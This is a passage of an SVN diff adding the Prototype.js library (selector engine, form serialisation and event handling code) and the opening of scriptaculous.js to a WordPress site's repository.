+        if (!(n = nodes[i])._counted) {
+          n._counted = true;
+          results.push(Element.extend(n));
+        }
+      return Selector.handlers.unmark(results);
+    },
+
+    // COMBINATOR FUNCTIONS
+    descendant: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, node.getElementsByTagName('*'));
+      return results;
+    },
+
+    child: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        for (var j = 0, children = [], child; child = node.childNodes[j]; j++)
+          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
+      }
+      return results;
+    },
+
+    adjacent: function(nodes) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        var next = this.nextElementSibling(node);
+        if (next) results.push(next);
+      }
+      return results;
+    },
+
+    laterSibling: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, Element.nextSiblings(node));
+      return results;
+    },
+
+    nextElementSibling: function(node) {
+      while (node = node.nextSibling)
+	      if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    previousElementSibling: function(node) {
+      while (node = node.previousSibling)
+        if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    // TOKEN FUNCTIONS
+    tagName: function(nodes, root, tagName, combinator) {
+      tagName = tagName.toUpperCase();
+      var results = [], h = Selector.handlers;
+      if (nodes) {
+        if (combinator) {
+          // fastlane for ordinary descendant combinators
+          if (combinator == "descendant") {
+            for (var i = 0, node; node = nodes[i]; i++)
+              h.concat(results, node.getElementsByTagName(tagName));
+            return results;
+          } else nodes = this[combinator](nodes);
+          if (tagName == "*") return nodes;
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.tagName.toUpperCase() == tagName) results.push(node);
+        return results;
+      } else return root.getElementsByTagName(tagName);
+    },
+
+    id: function(nodes, root, id, combinator) {
+      var targetNode = $(id), h = Selector.handlers;
+      if (!targetNode) return [];
+      if (!nodes && root == document) return [targetNode];
+      if (nodes) {
+        if (combinator) {
+          if (combinator == 'child') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (targetNode.parentNode == node) return [targetNode];
+          } else if (combinator == 'descendant') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Element.descendantOf(targetNode, node)) return [targetNode];
+          } else if (combinator == 'adjacent') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Selector.handlers.previousElementSibling(targetNode) == node)
+                return [targetNode];
+          } else nodes = h[combinator](nodes);
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node == targetNode) return [targetNode];
+        return [];
+      }
+      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
+    },
+
+    className: function(nodes, root, className, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      return Selector.handlers.byClassName(nodes, root, className);
+    },
+
+    byClassName: function(nodes, root, className) {
+      if (!nodes) nodes = Selector.handlers.descendant([root]);
+      var needle = ' ' + className + ' ';
+      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
+        nodeClassName = node.className;
+        if (nodeClassName.length == 0) continue;
+        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
+          results.push(node);
+      }
+      return results;
+    },
+
+    attrPresence: function(nodes, root, attr) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      var results = [];
+      for (var i = 0, node; node = nodes[i]; i++)
+        if (Element.hasAttribute(node, attr)) results.push(node);
+      return results;
+    },
+
+    attr: function(nodes, root, attr, value, operator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      var handler = Selector.operators[operator], results = [];
+      for (var i = 0, node; node = nodes[i]; i++) {
+        var nodeValue = Element.readAttribute(node, attr);
+        if (nodeValue === null) continue;
+        if (handler(nodeValue, value)) results.push(node);
+      }
+      return results;
+    },
+
+    pseudo: function(nodes, name, value, root, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      return Selector.pseudos[name](nodes, value, root);
+    }
+  },
+
+  pseudos: {
+    'first-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.previousElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'last-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.nextElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'only-child': function(nodes, value, root) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
+          results.push(node);
+      return results;
+    },
+    'nth-child':        function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root);
+    },
+    'nth-last-child':   function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true);
+    },
+    'nth-of-type':      function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, false, true);
+    },
+    'nth-last-of-type': function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true, true);
+    },
+    'first-of-type':    function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, false, true);
+    },
+    'last-of-type':     function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, true, true);
+    },
+    'only-of-type':     function(nodes, formula, root) {
+      var p = Selector.pseudos;
+      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
+    },
+
+    // handles the an+b logic
+    getIndices: function(a, b, total) {
+      if (a == 0) return b > 0 ? [b] : [];
+      return $R(1, total).inject([], function(memo, i) {
+        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
+        return memo;
+      });
+    },
+
+    // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type
+    nth: function(nodes, formula, root, reverse, ofType) {
+      if (nodes.length == 0) return [];
+      if (formula == 'even') formula = '2n+0';
+      if (formula == 'odd')  formula = '2n+1';
+      var h = Selector.handlers, results = [], indexed = [], m;
+      h.mark(nodes);
+      for (var i = 0, node; node = nodes[i]; i++) {
+        if (!node.parentNode._counted) {
+          h.index(node.parentNode, reverse, ofType);
+          indexed.push(node.parentNode);
+        }
+      }
+      if (formula.match(/^\d+$/)) { // just a number
+        formula = Number(formula);
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.nodeIndex == formula) results.push(node);
+      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+        if (m[1] == "-") m[1] = -1;
+        var a = m[1] ? Number(m[1]) : 1;
+        var b = m[2] ? Number(m[2]) : 0;
+        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
+        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
+          for (var j = 0; j < l; j++)
+            if (node.nodeIndex == indices[j]) results.push(node);
+        }
+      }
+      h.unmark(nodes);
+      h.unmark(indexed);
+      return results;
+    },
+
+    'empty': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        // IE treats comments as element nodes
+        if (node.tagName == '!' || (node.firstChild && !node.innerHTML.match(/^\s*$/))) continue;
+        results.push(node);
+      }
+      return results;
+    },
+
+    'not': function(nodes, selector, root) {
+      var h = Selector.handlers, selectorType, m;
+      var exclusions = new Selector(selector).findElements(root);
+      h.mark(exclusions);
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node._counted) results.push(node);
+      h.unmark(exclusions);
+      return results;
+    },
+
+    'enabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node.disabled) results.push(node);
+      return results;
+    },
+
+    'disabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.disabled) results.push(node);
+      return results;
+    },
+
+    'checked': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.checked) results.push(node);
+      return results;
+    }
+  },
+
+  operators: {
+    '=':  function(nv, v) { return nv == v; },
+    '!=': function(nv, v) { return nv != v; },
+    '^=': function(nv, v) { return nv.startsWith(v); },
+    '$=': function(nv, v) { return nv.endsWith(v); },
+    '*=': function(nv, v) { return nv.include(v); },
+    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
+    '|=': function(nv, v) { return ('-' + nv.toUpperCase() + '-').include('-' + v.toUpperCase() + '-'); }
+  },
+
+  matchElements: function(elements, expression) {
+    var matches = new Selector(expression).findElements(), h = Selector.handlers;
+    h.mark(matches);
+    for (var i = 0, results = [], element; element = elements[i]; i++)
+      if (element._counted) results.push(element);
+    h.unmark(matches);
+    return results;
+  },
+
+  findElement: function(elements, expression, index) {
+    if (Object.isNumber(expression)) {
+      index = expression; expression = false;
+    }
+    return Selector.matchElements(elements, expression || '*')[index || 0];
+  },
+
+  findChildElements: function(element, expressions) {
+    var exprs = expressions.join(','), expressions = [];
+    exprs.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
+      expressions.push(m[1].strip());
+    });
+    var results = [], h = Selector.handlers;
+    for (var i = 0, l = expressions.length, selector; i < l; i++) {
+      selector = new Selector(expressions[i].strip());
+      h.concat(results, selector.findElements(element));
+    }
+    return (l > 1) ? h.unique(results) : results;
+  }
+});
+
+function $$() {
+  return Selector.findChildElements(document, $A(arguments));
+}
+var Form = {
+  reset: function(form) {
+    $(form).reset();
+    return form;
+  },
+
+  serializeElements: function(elements, options) {
+    if (typeof options != 'object') options = { hash: !!options };
+    else if (options.hash === undefined) options.hash = true;
+    var key, value, submitted = false, submit = options.submit;
+
+    var data = elements.inject({ }, function(result, element) {
+      if (!element.disabled && element.name) {
+        key = element.name; value = $(element).getValue();
+        if (value != null && (element.type != 'submit' || (!submitted &&
+            submit !== false && (!submit || key == submit) && (submitted = true)))) {
+          if (key in result) {
+            // a key is already present; construct an array of values
+            if (!Object.isArray(result[key])) result[key] = [result[key]];
+            result[key].push(value);
+          }
+          else result[key] = value;
+        }
+      }
+      return result;
+    });
+
+    return options.hash ? data : Object.toQueryString(data);
+  }
+};
+
+Form.Methods = {
+  serialize: function(form, options) {
+    return Form.serializeElements(Form.getElements(form), options);
+  },
+
+  getElements: function(form) {
+    return $A($(form).getElementsByTagName('*')).inject([],
+      function(elements, child) {
+        if (Form.Element.Serializers[child.tagName.toLowerCase()])
+          elements.push(Element.extend(child));
+        return elements;
+      }
+    );
+  },
+
+  getInputs: function(form, typeName, name) {
+    form = $(form);
+    var inputs = form.getElementsByTagName('input');
+
+    if (!typeName && !name) return $A(inputs).map(Element.extend);
+
+    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
+      var input = inputs[i];
+      if ((typeName && input.type != typeName) || (name && input.name != name))
+        continue;
+      matchingInputs.push(Element.extend(input));
+    }
+
+    return matchingInputs;
+  },
+
+  disable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('disable');
+    return form;
+  },
+
+  enable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('enable');
+    return form;
+  },
+
+  findFirstElement: function(form) {
+    var elements = $(form).getElements().findAll(function(element) {
+      return 'hidden' != element.type && !element.disabled;
+    });
+    var firstByIndex = elements.findAll(function(element) {
+      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
+    }).sortBy(function(element) { return element.tabIndex }).first();
+
+    return firstByIndex ? firstByIndex : elements.find(function(element) {
+      return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
+    });
+  },
+
+  focusFirstElement: function(form) {
+    form = $(form);
+    form.findFirstElement().activate();
+    return form;
+  },
+
+  request: function(form, options) {
+    form = $(form), options = Object.clone(options || { });
+
+    var params = options.parameters, action = form.readAttribute('action') || '';
+    if (action.blank()) action = window.location.href;
+    options.parameters = form.serialize(true);
+
+    if (params) {
+      if (Object.isString(params)) params = params.toQueryParams();
+      Object.extend(options.parameters, params);
+    }
+
+    if (form.hasAttribute('method') && !options.method)
+      options.method = form.method;
+
+    return new Ajax.Request(action, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element = {
+  focus: function(element) {
+    $(element).focus();
+    return element;
+  },
+
+  select: function(element) {
+    $(element).select();
+    return element;
+  }
+};
+
+Form.Element.Methods = {
+  serialize: function(element) {
+    element = $(element);
+    if (!element.disabled && element.name) {
+      var value = element.getValue();
+      if (value != undefined) {
+        var pair = { };
+        pair[element.name] = value;
+        return Object.toQueryString(pair);
+      }
+    }
+    return '';
+  },
+
+  getValue: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    return Form.Element.Serializers[method](element);
+  },
+
+  setValue: function(element, value) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    Form.Element.Serializers[method](element, value);
+    return element;
+  },
+
+  clear: function(element) {
+    $(element).value = '';
+    return element;
+  },
+
+  present: function(element) {
+    return $(element).value != '';
+  },
+
+  activate: function(element) {
+    element = $(element);
+    try {
+      element.focus();
+      if (element.select && (element.tagName.toLowerCase() != 'input' ||
+          !['button', 'reset', 'submit'].include(element.type)))
+        element.select();
+    } catch (e) { }
+    return element;
+  },
+
+  disable: function(element) {
+    element = $(element);
+    element.blur();
+    element.disabled = true;
+    return element;
+  },
+
+  enable: function(element) {
+    element = $(element);
+    element.disabled = false;
+    return element;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Field = Form.Element;
+var $F = Form.Element.Methods.getValue;
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element.Serializers = {
+  input: function(element, value) {
+    switch (element.type.toLowerCase()) {
+      case 'checkbox':
+      case 'radio':
+        return Form.Element.Serializers.inputSelector(element, value);
+      default:
+        return Form.Element.Serializers.textarea(element, value);
+    }
+  },
+
+  inputSelector: function(element, value) {
+    if (value === undefined) return element.checked ? element.value : null;
+    else element.checked = !!value;
+  },
+
+  textarea: function(element, value) {
+    if (value === undefined) return element.value;
+    else element.value = value;
+  },
+
+  select: function(element, index) {
+    if (index === undefined)
+      return this[element.type == 'select-one' ?
+        'selectOne' : 'selectMany'](element);
+    else {
+      var opt, value, single = !Object.isArray(index);
+      for (var i = 0, length = element.length; i < length; i++) {
+        opt = element.options[i];
+        value = this.optionValue(opt);
+        if (single) {
+          if (value == index) {
+            opt.selected = true;
+            return;
+          }
+        }
+        else opt.selected = index.include(value);
+      }
+    }
+  },
+
+  selectOne: function(element) {
+    var index = element.selectedIndex;
+    return index >= 0 ? this.optionValue(element.options[index]) : null;
+  },
+
+  selectMany: function(element) {
+    var values, length = element.length;
+    if (!length) return null;
+
+    for (var i = 0, values = []; i < length; i++) {
+      var opt = element.options[i];
+      if (opt.selected) values.push(this.optionValue(opt));
+    }
+    return values;
+  },
+
+  optionValue: function(opt) {
+    // extend element because hasAttribute may not be native
+    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
+  initialize: function($super, element, frequency, callback) {
+    $super(callback, frequency);
+    this.element   = $(element);
+    this.lastValue = this.getValue();
+  },
+
+  execute: function() {
+    var value = this.getValue();
+    if (Object.isString(this.lastValue) && Object.isString(value) ?
+        this.lastValue != value : String(this.lastValue) != String(value)) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  }
+});
+
+Form.Element.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.EventObserver = Class.create({
+  initialize: function(element, callback) {
+    this.element  = $(element);
+    this.callback = callback;
+
+    this.lastValue = this.getValue();
+    if (this.element.tagName.toLowerCase() == 'form')
+      this.registerFormCallbacks();
+    else
+      this.registerCallback(this.element);
+  },
+
+  onElementEvent: function() {
+    var value = this.getValue();
+    if (this.lastValue != value) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  },
+
+  registerFormCallbacks: function() {
+    Form.getElements(this.element).each(this.registerCallback, this);
+  },
+
+  registerCallback: function(element) {
+    if (element.type) {
+      switch (element.type.toLowerCase()) {
+        case 'checkbox':
+        case 'radio':
+          Event.observe(element, 'click', this.onElementEvent.bind(this));
+          break;
+        default:
+          Event.observe(element, 'change', this.onElementEvent.bind(this));
+          break;
+      }
+    }
+  }
+});
+
+Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+if (!window.Event) var Event = { };
+
+Object.extend(Event, {
+  KEY_BACKSPACE: 8,
+  KEY_TAB:       9,
+  KEY_RETURN:   13,
+  KEY_ESC:      27,
+  KEY_LEFT:     37,
+  KEY_UP:       38,
+  KEY_RIGHT:    39,
+  KEY_DOWN:     40,
+  KEY_DELETE:   46,
+  KEY_HOME:     36,
+  KEY_END:      35,
+  KEY_PAGEUP:   33,
+  KEY_PAGEDOWN: 34,
+  KEY_INSERT:   45,
+
+  cache: { },
+
+  relatedTarget: function(event) {
+    var element;
+    switch(event.type) {
+      case 'mouseover': element = event.fromElement; break;
+      case 'mouseout':  element = event.toElement;   break;
+      default: return null;
+    }
+    return Element.extend(element);
+  }
+});
+
+Event.Methods = (function() {
+  var isButton;
+
+  if (Prototype.Browser.IE) {
+    var buttonMap = { 0: 1, 1: 4, 2: 2 };
+    isButton = function(event, code) {
+      return event.button == buttonMap[code];
+    };
+
+  } else if (Prototype.Browser.WebKit) {
+    isButton = function(event, code) {
+      switch (code) {
+        case 0: return event.which == 1 && !event.metaKey;
+        case 1: return event.which == 1 && event.metaKey;
+        default: return false;
+      }
+    };
+
+  } else {
+    isButton = function(event, code) {
+      return event.which ? (event.which === code + 1) : (event.button === code);
+    };
+  }
+
+  return {
+    isLeftClick:   function(event) { return isButton(event, 0) },
+    isMiddleClick: function(event) { return isButton(event, 1) },
+    isRightClick:  function(event) { return isButton(event, 2) },
+
+    element: function(event) {
+      var node = Event.extend(event).target;
+      return Element.extend(node.nodeType == Node.TEXT_NODE ? node.parentNode : node);
+    },
+
+    findElement: function(event, expression) {
+      var element = Event.element(event);
+      return element.match(expression) ? element : element.up(expression);
+    },
+
+    pointer: function(event) {
+      return {
+        x: event.pageX || (event.clientX +
+          (document.documentElement.scrollLeft || document.body.scrollLeft)),
+        y: event.pageY || (event.clientY +
+          (document.documentElement.scrollTop || document.body.scrollTop))
+      };
+    },
+
+    pointerX: function(event) { return Event.pointer(event).x },
+    pointerY: function(event) { return Event.pointer(event).y },
+
+    stop: function(event) {
+      Event.extend(event);
+      event.preventDefault();
+      event.stopPropagation();
+      event.stopped = true;
+    }
+  };
+})();
+
+Event.extend = (function() {
+  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
+    m[name] = Event.Methods[name].methodize();
+    return m;
+  });
+
+  if (Prototype.Browser.IE) {
+    Object.extend(methods, {
+      stopPropagation: function() { this.cancelBubble = true },
+      preventDefault:  function() { this.returnValue = false },
+      inspect: function() { return "[object Event]" }
+    });
+
+    return function(event) {
+      if (!event) return false;
+      if (event._extendedByPrototype) return event;
+
+      event._extendedByPrototype = Prototype.emptyFunction;
+      var pointer = Event.pointer(event);
+      Object.extend(event, {
+        target: event.srcElement,
+        relatedTarget: Event.relatedTarget(event),
+        pageX:  pointer.x,
+        pageY:  pointer.y
+      });
+      return Object.extend(event, methods);
+    };
+
+  } else {
+    Event.prototype = Event.prototype || document.createEvent("HTMLEvents").__proto__;
+    Object.extend(Event.prototype, methods);
+    return Prototype.K;
+  }
+})();
+
+Object.extend(Event, (function() {
+  var cache = Event.cache;
+
+  function getEventID(element) {
+    if (element._eventID) return element._eventID;
+    arguments.callee.id = arguments.callee.id || 1;
+    return element._eventID = ++arguments.callee.id;
+  }
+
+  function getDOMEventName(eventName) {
+    if (eventName && eventName.include(':')) return "dataavailable";
+    return eventName;
+  }
+
+  function getCacheForID(id) {
+    return cache[id] = cache[id] || { };
+  }
+
+  function getWrappersForEventName(id, eventName) {
+    var c = getCacheForID(id);
+    return c[eventName] = c[eventName] || [];
+  }
+
+  function createWrapper(element, eventName, handler) {
+    var id = getEventID(element);
+    var c = getWrappersForEventName(id, eventName);
+    if (c.pluck("handler").include(handler)) return false;
+
+    var wrapper = function(event) {
+      if (!Event || !Event.extend ||
+        (event.eventName && event.eventName != eventName))
+          return false;
+
+      Event.extend(event);
+      handler.call(element, event)
+    };
+
+    wrapper.handler = handler;
+    c.push(wrapper);
+    return wrapper;
+  }
+
+  function findWrapper(id, eventName, handler) {
+    var c = getWrappersForEventName(id, eventName);
+    return c.find(function(wrapper) { return wrapper.handler == handler });
+  }
+
+  function destroyWrapper(id, eventName, handler) {
+    var c = getCacheForID(id);
+    if (!c[eventName]) return false;
+    c[eventName] = c[eventName].without(findWrapper(id, eventName, handler));
+  }
+
+  function destroyCache() {
+    for (var id in cache)
+      for (var eventName in cache[id])
+        cache[id][eventName] = null;
+  }
+
+  if (window.attachEvent) {
+    window.attachEvent("onunload", destroyCache);
+  }
+
+  return {
+    observe: function(element, eventName, handler) {
+      element = $(element);
+      var name = getDOMEventName(eventName);
+
+      var wrapper = createWrapper(element, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.addEventListener) {
+        element.addEventListener(name, wrapper, false);
+      } else {
+        element.attachEvent("on" + name, wrapper);
+      }
+
+      return element;
+    },
+
+    stopObserving: function(element, eventName, handler) {
+      element = $(element);
+      var id = getEventID(element), name = getDOMEventName(eventName);
+
+      if (!handler && eventName) {
+        getWrappersForEventName(id, eventName).each(function(wrapper) {
+          element.stopObserving(eventName, wrapper.handler);
+        });
+        return element;
+
+      } else if (!eventName) {
+        Object.keys(getCacheForID(id)).each(function(eventName) {
+          element.stopObserving(eventName);
+        });
+        return element;
+      }
+
+      var wrapper = findWrapper(id, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.removeEventListener) {
+        element.removeEventListener(name, wrapper, false);
+      } else {
+        element.detachEvent("on" + name, wrapper);
+      }
+
+      destroyWrapper(id, eventName, handler);
+
+      return element;
+    },
+
+    fire: function(element, eventName, memo) {
+      element = $(element);
+      if (element == document && document.createEvent && !element.dispatchEvent)
+        element = document.documentElement;
+
+      if (document.createEvent) {
+        var event = document.createEvent("HTMLEvents");
+        event.initEvent("dataavailable", true, true);
+      } else {
+        var event = document.createEventObject();
+        event.eventType = "ondataavailable";
+      }
+
+      event.eventName = eventName;
+      event.memo = memo || { };
+
+      if (document.createEvent) {
+        element.dispatchEvent(event);
+      } else {
+        element.fireEvent(event.eventType, event);
+      }
+
+      return event;
+    }
+  };
+})());
+
+Object.extend(Event, Event.Methods);
+
+Element.addMethods({
+  fire:          Event.fire,
+  observe:       Event.observe,
+  stopObserving: Event.stopObserving
+});
+
+Object.extend(document, {
+  fire:          Element.Methods.fire.methodize(),
+  observe:       Element.Methods.observe.methodize(),
+  stopObserving: Element.Methods.stopObserving.methodize()
+});
+
+(function() {
+  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
+     Matthias Miller, Dean Edwards and John Resig. */
+
+  var timer, fired = false;
+
+  function fireContentLoadedEvent() {
+    if (fired) return;
+    if (timer) window.clearInterval(timer);
+    document.fire("dom:loaded");
+    fired = true;
+  }
+
+  if (document.addEventListener) {
+    if (Prototype.Browser.WebKit) {
+      timer = window.setInterval(function() {
+        if (/loaded|complete/.test(document.readyState))
+          fireContentLoadedEvent();
+      }, 0);
+
+      Event.observe(window, "load", fireContentLoadedEvent);
+
+    } else {
+      document.addEventListener("DOMContentLoaded",
+        fireContentLoadedEvent, false);
+    }
+
+  } else {
+    document.write("<script id=__onDOMContentLoaded defer src=//:><\/script>");
+    $("__onDOMContentLoaded").onreadystatechange = function() {
+      if (this.readyState == "complete") {
+        this.onreadystatechange = null;
+        fireContentLoadedEvent();
+      }
+    };
+  }
+})();
+/*------------------------------- DEPRECATED -------------------------------*/
+
+Hash.toQueryString = Object.toQueryString;
+
+var Toggle = { display: Element.toggle };
+
+Element.Methods.childOf = Element.Methods.descendantOf;
+
+var Insertion = {
+  Before: function(element, content) {
+    return Element.insert(element, {before:content});
+  },
+
+  Top: function(element, content) {
+    return Element.insert(element, {top:content});
+  },
+
+  Bottom: function(element, content) {
+    return Element.insert(element, {bottom:content});
+  },
+
+  After: function(element, content) {
+    return Element.insert(element, {after:content});
+  }
+};
+
+var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
+
+// This should be moved to script.aculo.us; notice the deprecated methods
+// further below, that map to the newer Element methods.
+var Position = {
+  // set to true if needed, warning: firefox performance problems
+  // NOT neeeded for page scrolling, only if draggable contained in
+  // scrollable elements
+  includeScrollOffsets: false,
+
+  // must be called before calling withinIncludingScrolloffset, every time the
+  // page is scrolled
+  prepare: function() {
+    this.deltaX =  window.pageXOffset
+                || document.documentElement.scrollLeft
+                || document.body.scrollLeft
+                || 0;
+    this.deltaY =  window.pageYOffset
+                || document.documentElement.scrollTop
+                || document.body.scrollTop
+                || 0;
+  },
+
+  // caches x/y coordinate pair to use with overlap
+  within: function(element, x, y) {
+    if (this.includeScrollOffsets)
+      return this.withinIncludingScrolloffsets(element, x, y);
+    this.xcomp = x;
+    this.ycomp = y;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (y >= this.offset[1] &&
+            y <  this.offset[1] + element.offsetHeight &&
+            x >= this.offset[0] &&
+            x <  this.offset[0] + element.offsetWidth);
+  },
+
+  withinIncludingScrolloffsets: function(element, x, y) {
+    var offsetcache = Element.cumulativeScrollOffset(element);
+
+    this.xcomp = x + offsetcache[0] - this.deltaX;
+    this.ycomp = y + offsetcache[1] - this.deltaY;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (this.ycomp >= this.offset[1] &&
+            this.ycomp <  this.offset[1] + element.offsetHeight &&
+            this.xcomp >= this.offset[0] &&
+            this.xcomp <  this.offset[0] + element.offsetWidth);
+  },
+
+  // within must be called directly before
+  overlap: function(mode, element) {
+    if (!mode) return 0;
+    if (mode == 'vertical')
+      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
+        element.offsetHeight;
+    if (mode == 'horizontal')
+      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
+        element.offsetWidth;
+  },
+
+  // Deprecation layer -- use newer Element methods now (1.5.2).
+
+  cumulativeOffset: Element.Methods.cumulativeOffset,
+
+  positionedOffset: Element.Methods.positionedOffset,
+
+  absolutize: function(element) {
+    Position.prepare();
+    return Element.absolutize(element);
+  },
+
+  relativize: function(element) {
+    Position.prepare();
+    return Element.relativize(element);
+  },
+
+  realOffset: Element.Methods.cumulativeScrollOffset,
+
+  offsetParent: Element.Methods.getOffsetParent,
+
+  page: Element.Methods.viewportOffset,
+
+  clone: function(source, target, options) {
+    options = options || { };
+    return Element.clonePosition(target, source, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
+  function iter(name) {
+    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
+  }
+
+  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
+  function(element, className) {
+    className = className.toString().strip();
+    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
+    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
+  } : function(element, className) {
+    className = className.toString().strip();
+    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
+    if (!classNames && !className) return elements;
+
+    var nodes = $(element).getElementsByTagName('*');
+    className = ' ' + className + ' ';
+
+    for (var i = 0, child, cn; child = nodes[i]; i++) {
+      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
+          (classNames && classNames.all(function(name) {
+            return !name.toString().blank() && cn.include(' ' + name + ' ');
+          }))))
+        elements.push(Element.extend(child));
+    }
+    return elements;
+  };
+
+  return function(className, parentElement) {
+    return $(parentElement || document.body).getElementsByClassName(className);
+  };
+}(Element.Methods);
+
+/*--------------------------------------------------------------------------*/
+
+Element.ClassNames = Class.create();
+Element.ClassNames.prototype = {
+  initialize: function(element) {
+    this.element = $(element);
+  },
+
+  _each: function(iterator) {
+    this.element.className.split(/\s+/).select(function(name) {
+      return name.length > 0;
+    })._each(iterator);
+  },
+
+  set: function(className) {
+    this.element.className = className;
+  },
+
+  add: function(classNameToAdd) {
+    if (this.include(classNameToAdd)) return;
+    this.set($A(this).concat(classNameToAdd).join(' '));
+  },
+
+  remove: function(classNameToRemove) {
+    if (!this.include(classNameToRemove)) return;
+    this.set($A(this).without(classNameToRemove).join(' '));
+  },
+
+  toString: function() {
+    return $A(this).join(' ');
+  }
+};
+
+Object.extend(Element.ClassNames.prototype, Enumerable);
+
+/*--------------------------------------------------------------------------*/
+
+Element.addMethods();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/scriptaculous.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/scriptaculous.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/scriptaculous.js	(revision 44)
@@ -0,0 +1,58 @@
+// script.aculo.us scriptaculous.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// 
+// Permission is hereby granted, free of charge, to any person obtaining
+// a copy of this software and associated documentation files (the
+// "Software"), to deal in the Software without restriction, including
+// without limitation the rights to use, copy, modify, merge, publish,
+// distribute, sublicense, and/or sell copies of the Software, and to
